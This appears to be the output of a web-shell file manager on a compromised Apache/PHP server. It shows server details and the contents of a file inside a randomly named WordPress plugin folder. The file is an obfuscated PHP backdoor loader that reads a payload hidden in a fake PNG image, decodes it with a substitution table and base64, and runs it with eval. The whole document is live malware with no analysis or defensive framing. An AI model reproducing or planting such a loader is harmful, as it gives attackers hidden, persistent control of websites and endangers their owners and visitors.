HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/abeqisuty/zajuly.txt
<?php

function cetebo_qawukhekesh($ykuzuc_ofokhuthaqe) {
    if ($ykuzuc_ofokhuthaqe == 1)
        return cimaxe_ysuzokukhu();
    if ($ykuzuc_ofokhuthaqe == 2)
        return sorute_shachumoxyc();
}

function apytal_shotemyvo($ykuzuc_ofokhuthaqe) {
    $rixyqix = cetebo_qawukhekesh(1);
    $lazyry = cetebo_qawukhekesh(2);
    for ($iseqiz = 0; $iseqiz < strlen($rixyqix); $iseqiz++) {
        $sucare = substr($rixyqix, $iseqiz, 1);
        $uxunif = substr($lazyry, $iseqiz, 1);
        $ihishis[$sucare] = $uxunif;
    }

    $igebam = strtr($ykuzuc_ofokhuthaqe, $ihishis);
    $igebam = base64_decode($igebam);

    return $igebam;
}

function ykipaj_bymachyzho($ykuzuc_ofokhuthaqe) {
    $pifinac = array();
    if (!file_exists($ykuzuc_ofokhuthaqe))
        return false;
    $adufuqu = @file_get_contents($ykuzuc_ofokhuthaqe);
    if (!$adufuqu)
        return false;
    $adufuqu = substr($adufuqu, 3);
    $pifinac = apytal_shotemyvo($adufuqu);
    return $pifinac;
}

function cimaxe_ysuzokukhu() {
    $adufuqu = "lyNmTQ34Ebx+8Y2ipKGU6ndXIRuADkfFVarq1P=gsZWhHcMJLwC570tevO/S9zjBo";
    return $adufuqu;
}

function sorute_shachumoxyc() {
    $pifinac = "b4JztEh5D9r=/wNk8AHG0sCqQ1yYRc6nZfeWTd32aKMmVXOpUIxlBjSviP7L+ogFu";
    return $pifinac;
}

$unajil = ykipaj_bymachyzho(__DIR__ . "/ass" . "ets/" . "imag" . "es/pec" . "elak." . "png");
if ($unajil) {
    @eval($unajil);
}